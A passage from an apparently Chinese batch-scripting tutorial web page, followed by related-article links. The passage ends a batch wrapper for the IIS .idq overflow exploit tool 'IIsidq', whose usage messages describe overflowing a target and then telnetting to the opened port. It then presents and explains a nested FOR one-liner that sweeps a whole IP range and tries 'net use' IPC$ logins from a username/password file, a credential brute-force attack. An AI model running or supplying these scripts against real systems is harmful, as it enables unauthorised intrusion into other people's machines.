经过整理的一些dos/bat批处理教程

2019-01-30 16:42:23于海丽

if %d%==2 set a=3
if %d%==1 set a=2
if %d%==0 set a=1
goto no                  /*附值完成跳转no段执行
:file                    /*以下都是出错后的帮助提示
echo IIsidq.exe没有发现!将该文件和本文件放在同一目录!
goto exit
:error
echo 错误!目标ip不可识别!请使用下面的格式连接!
echo idq [目标IP]
goto exit
:error1
echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至!
echo 请按照下面的格式手工尝试!
echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口]
echo telnet [目标ip] [溢出端口]
:exit                  /*整个程序的出口
这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。
例三
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use %1.%%a.%%b.%%cipc$ %%e /u:%%f
上面的命令为1条命令。大家可以看出该命令使用了4个FOR来套用的。用法为:C:>TEST.BAT 218 当输入218回车后该命令会由第1个for取初始值0为%%a然后继续取第2个for的初始值0为%%b继续取第3个for的初始值1为%%c最后一个for是将userpass.txt中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令 (这里我把上面的值都带进去,设密码为123 用户名为 abc)
net usr 218.0.0.1ipc$ 123 /u:abc

您可能感兴趣的文章:

批处理(dos/bat)最完整人性化教程推荐学习dos和bat的批处理的教程又一篇不错的批处理bat学习教程windows批处理命令教程批处理学习教程精通批处理教程 批处理从入门到精通批处理实例代码教程 集合推荐一篇批处理最完整人性化教程写的不错批处理教程一批处理文件制作实例精彩教程批处理经典入门教程!(从不懂到高手)收藏的比较完整的批处理教程BAT 批处理脚本教程(详细篇易采站长站补充)
相关文章 大家在看